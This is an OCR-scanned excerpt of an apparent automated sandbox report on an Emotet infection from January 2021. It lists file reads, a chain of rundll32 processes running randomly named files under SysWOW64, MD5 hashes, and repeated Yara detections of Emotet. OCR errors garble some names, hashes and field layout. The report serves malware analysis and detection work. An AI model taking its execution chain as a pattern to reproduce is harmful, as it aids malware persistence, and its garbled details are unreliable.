File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll unknown 374 00 00 00 00 00 00 00 ..veeuveveeieeiieieaieens success or wait 1 7FEEB58BEC7 WriteFile
00 00 00 00 00 00 00 ...

00 00 00 00 00 00 00 ...

00 00 00 00 00 00 00 ...

00 00 00 00 00 00 00 ...

00 00 00 00 00 00 00 ...

00 00 00 00 00 00 00

00 00 00 00 00 00 00 ...

00 000000000000 .....c.c....

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE83F5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE83F5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE851A287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 6 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.psixml unknown 201 end of file 1 7FEE858BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE858BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEB58BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEB58BEC7 ReadFile
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File Path Offset Length
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096

0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

Source

Completion Count Address Symbol

end of file 1
end of file 1

success or wait 1

success or wait 1

7FEE858BEC7 ReadFile
7FEE858BEC7 ReadFile
7FEE84EG9DF unknown

7FEE84EG9DF unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE858BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE858BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE84EG9DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE84EG9DF unknown
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 260 Parent PID: 2536
General
Start time: 13:48:04
Start date: 26/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll #1
Imagebase: 0xff970000
File size: 45568 bytes
MD5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\O_wgqv7\C0316em\Lyetaéud.dll unknown 64 success or wait 1 FF9727D0 ReadFile
C:\Users\user\O_wgqv7\C0316em\Lyetaéud.dll unknown 264 success or wait 1 FF97281C ReadFile
Analysis Process: rundll32.exe PID: 2908 Parent PID: 260
General
Start time: 13:48:04
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll #1
Imagebase: 0x6c0000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2139903329.00000000001A0000.00000040.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2139935189.00000000001C1000.00000020.00000001.sdmp,

Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2872 Parent PID: 2908
General
Start time: 13:48:05
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yozs\bhycn.bex',RunDLL

0x6c0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2141920127.00000000001A0000.00000040.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2141994054.00000000001C1000.00000020.00000001.sdmp,

Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2472 Parent PID: 2872
General
Start time: 13:48:06
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hxqt\iieutea.ehw',RunDLL

0x6c0000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2143541090.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2143576393.00000000001C1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2488 Parent PID: 2472
General
Start time: 13:48:07
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjfs\gmxhcr.dhy',RunDLL
0x6c0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2146032293.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2146169134.0000000000201000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2860 Parent PID: 2488
General
Start time: 13:48:07
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hszr\zft.hxn',RunDLL
0x6c0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2147679834.0000000000311000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2147601789.00000000002F0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 1616 Parent PID: 2860
General
Start time: 13:48:08
Start date: 26/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vnjt\awo.cnn',RunDLL
0x6c0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2149091905.0000000000250000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2150116994.00000000004A1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2968 Parent PID: 1616
General
Start time: 13:48:09
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Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dkpu\lbsvbo.gas',RunDLL
Imagebase: 0x6c0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000D.00000002.2150770541.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2150877098.00000000001D1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2196 Parent PID: 2968

General

Start time: 13:48:10

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Opgf\zrop.pvh',RunDLL

Imagebase: 0x6c0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2152460695.00000000001C1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000E.00000002.2152298877.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 1484 Parent PID: 2196

General

Start time: 13:48:11

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW#64\Blgp\gmlbr.kph',RunDLL
Imagebase: 0x6c0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000F.00000002.2153905031.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2153961508.00000000001B1000.00000020.00000001.sdmp,
Author: Joe Security
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Analysis Process: rundll32.exe PID: 620 Parent PID: 1484

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

13:48:11

26/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mnrm\xmfd.ucf',RunDLL
0x6c0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2155916188.00000000001B1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2155772363.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 1532 Parent PID: 620

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

13:48:12

26/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wnoc\mhxywle.szw',RunDLL
0x6c0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2157336614.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2157449477.00000000001D1000.00000020.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 1916 Parent PID: 1532

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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13:48:13

26/01/2021

C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xgby\jcrucsb.dqgl',RunDLL
0x6c0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2159102288.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2158760347.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 1472 Parent PID: 1916

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

13:48:14

26/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Etxd\pkvco.wzp',RunDLL
0x6c0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000013.00000002.2162568948.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000013.00000002.2162462473.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 856 Parent PID: 1472

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Disassembly

Code Analysis
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13:48:15

26/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eiig\mmsir.ajj', RunDLL
0x6c0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000014.00000002.2358984806.0000000000140000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000014.00000002.2359036210.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security
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